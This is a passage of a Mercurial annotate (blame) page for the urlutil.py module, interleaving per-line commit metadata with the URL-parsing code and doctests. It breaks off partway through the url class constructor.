annotate mercurial/utils/urlutil.py @ 51490:18c2753434f2

branchcache: explicitly assert that copy is always about inheritance This would catch cases where copy is used for something else if any existed.
author Pierre-Yves David <pierre-yves.david@octobus.net>
date Fri, 08 Mar 2024 16:52:08 +0100
parents f15cb5111a1e
children
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
rev   line source
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
1 # utils.urlutil - code related to [paths] management
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
2 #
49830
bc59c1e5dd01 copyright: update to 2023
Matt Harbison <matt_harbison@yahoo.com>
parents: 48946
diff changeset
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
4 #
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
5 # This software may be used and distributed according to the terms of the
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
6 # GNU General Public License version 2 or any later version.
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
7 import os
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
8 import re as remod
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
9 import socket
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
10
51285
9d3721552b6c pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51138
diff changeset
11 from typing import (
9d3721552b6c pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51138
diff changeset
12 Union,
9d3721552b6c pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51138
diff changeset
13 )
9d3721552b6c pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51138
diff changeset
14
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
15 from ..i18n import _
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
16 from .. import (
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
17 encoding,
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
18 error,
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
19 pycompat,
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
20 urllibcompat,
46906
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
21 )
33524c46a092 urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff changeset
22
47273
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
23 from . import (
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
24 stringutil,
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
25 )
834f4e9d1af2 multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 47272
diff changeset
26
49767
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
27 from ..revlogutils import (
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
28 constants as revlog_constants,
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
29 )
f1887500f3ec delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 49758
diff changeset
30
51285
9d3721552b6c pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51138
diff changeset
31 # keeps pyflakes happy
9d3721552b6c pytype: import typing directly
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51138
diff changeset
32 assert [Union]
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
33
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
34 urlreq = urllibcompat.urlreq
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
35
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
36
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
37 def getport(port: Union[bytes, int]) -> int:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
38 """Return the port for a given network service.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
39
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
40 If port is an integer, it's returned as is. If it's a string, it's
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
41 looked up using socket.getservbyname(). If there's no matching
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
42 service, error.Abort is raised.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
43 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
44 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
45 return int(port)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
46 except ValueError:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
47 pass
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
48
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
49 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
50 return socket.getservbyname(pycompat.sysstr(port))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
51 except socket.error:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
52 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
53 _(b"no port number associated with service '%s'") % port
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
54 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
55
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
56
48946
642e31cb55f0 py3: use class X: instead of class X(object):
Gregory Szorc <gregory.szorc@gmail.com>
parents: 48913
diff changeset
57 class url:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
58 r"""Reliable URL parser.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
59
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
60 This parses URLs and provides attributes for the following
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
61 components:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
62
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
64
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
65 Missing components are set to None. The only exception is
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
66 fragment, which is set to '' if present but empty.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
67
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
68 If parsefragment is False, fragment is included in query. If
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
69 parsequery is False, query is included in path. If both are
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
70 False, both fragment and query are included in path.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
71
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
73
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
74 Note that for backward compatibility reasons, bundle URLs do not
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
75 take host names. That means 'bundle://../' has a path of '../'.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
76
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
77 Examples:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
78
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
83 >>> url(b'file:///home/joe/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
84 <url scheme: 'file', path: '/home/joe/repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
85 >>> url(b'file:///c:/temp/foo/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
86 <url scheme: 'file', path: 'c:/temp/foo/'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
87 >>> url(b'bundle:foo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
88 <url scheme: 'bundle', path: 'foo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
89 >>> url(b'bundle://../foo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
90 <url scheme: 'bundle', path: '../foo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
91 >>> url(br'c:\foo\bar')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
92 <url path: 'c:\\foo\\bar'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
93 >>> url(br'\\blah\blah\blah')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
94 <url path: '\\\\blah\\blah\\blah'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
95 >>> url(br'\\blah\blah\blah#baz')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
97 >>> url(br'file:///C:\users\me')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
98 <url scheme: 'file', path: 'C:\\users\\me'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
99
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
100 Authentication credentials:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
101
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
102 >>> url(b'ssh://joe:xyz@x/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
104 >>> url(b'ssh://joe@x/repo')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
106
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
107 Query strings and fragments:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
108
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
109 >>> url(b'http://host/a?b#c')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
113
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
114 Empty path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
115
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
116 >>> url(b'')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
117 <url path: ''>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
118 >>> url(b'#a')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
119 <url path: '', fragment: 'a'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
120 >>> url(b'http://host/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
121 <url scheme: 'http', host: 'host', path: ''>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
122 >>> url(b'http://host/#a')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
124
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
125 Only scheme:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
126
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
127 >>> url(b'http:')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
128 <url scheme: 'http'>
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
129 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
130
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
131 _safechars = b"!~*'()+"
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
132 _safepchars = b"/!~*'()+:\\"
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
134
51287
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
135 def __init__(
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
136 self,
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
137 path: bytes,
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
138 parsequery: bool = True,
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
139 parsefragment: bool = True,
f15cb5111a1e pytype: move some type comment to proper annotation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 51285
diff changeset
140 ) -> None:
46907
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
141 # We slowly chomp away at path until we have only the path left
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
142 self.scheme = self.user = self.passwd = self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
143 self.port = self.path = self.query = self.fragment = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
144 self._localpath = True
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
145 self._hostport = b''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
146 self._origpath = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
147
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
148 if parsefragment and b'#' in path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
149 path, self.fragment = path.split(b'#', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
150
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
151 # special case for Windows drive letters and UNC paths
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
152 if hasdriveletter(path) or path.startswith(b'\\\\'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
153 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
154 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
155
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
156 # For compatibility reasons, we can't handle bundle paths as
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
157 # normal URLS
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
158 if path.startswith(b'bundle:'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
159 self.scheme = b'bundle'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
160 path = path[7:]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
161 if path.startswith(b'//'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
162 path = path[2:]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
163 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
164 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
165
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
166 if self._matchscheme(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
167 parts = path.split(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
168 if parts[0]:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
169 self.scheme, path = parts
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
170 self._localpath = False
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
171
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
172 if not path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
173 path = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
174 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
175 self.path = b''
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
176 return
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
177 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
178 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
